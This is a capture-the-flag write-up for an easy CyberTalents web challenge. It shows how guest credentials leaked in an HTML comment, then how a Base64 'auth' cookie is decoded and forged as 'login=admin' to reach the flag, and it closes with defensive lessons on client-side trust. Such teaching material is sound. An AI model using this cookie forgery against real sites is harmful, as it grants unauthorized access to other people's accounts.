CyberTalents "Who Am I?" Web Challenge Writeup

Challenge Info

• Platform: CyberTalents
• Category: Web Security
• Difficulty: Easy (50 points)
• Description: "Do not Start a fight you can not stop it"
• Challenge link: https://cybertalents.com/challenges/web/who-am-i

Walkthrough

Step 1: Initial Recon

Visiting the site, I found a login page. Checking the page source revealed:

<!--
    Guest Account:
    -=-=-=-=-=-=-=-
    Username:Guest
    Password:Guest
-->

Step 2: Log In as Guest

Logging in with Guest/Guest shows:

Welcome Guest!

Step 3: Inspect the Cookie

Open F12 → Application → Cookies, and you'll find:

Name: auth
Value: bG9naW49R3Vlc3Q%3D

Step 4: Decode and Analyze

URL decode:

decodeURIComponent('bG9naW49R3Vlc3Q%3D')
// Result: 'bG9naW49R3Vlc3Q='

Base64 decode:

atob('bG9naW49R3Vlc3Q=')
// Result: 'login=Guest'

Step 5: Forge an Admin Cookie

// Encode the admin identity
btoa('login=admin')
// Result: 'bG9naW49YWRtaW4='

Step 6: Swap the Cookie

In the developer tools:

1. Double-click the cookie value
2. Paste: bG9naW49YWRtaW4=
3. Refresh the page

Step 7: Grab the Flag

Welcome admin!
Flag: [FLAG_HERE]

Key Takeaways

• HTML comment leaks: always check the source comments
• Cookie forgery: any client-side data can be tampered with
• Encoding ≠ encryption: Base64 is just encoding and provides no security
• Authentication flaw: privileges should never live in a client-side cookie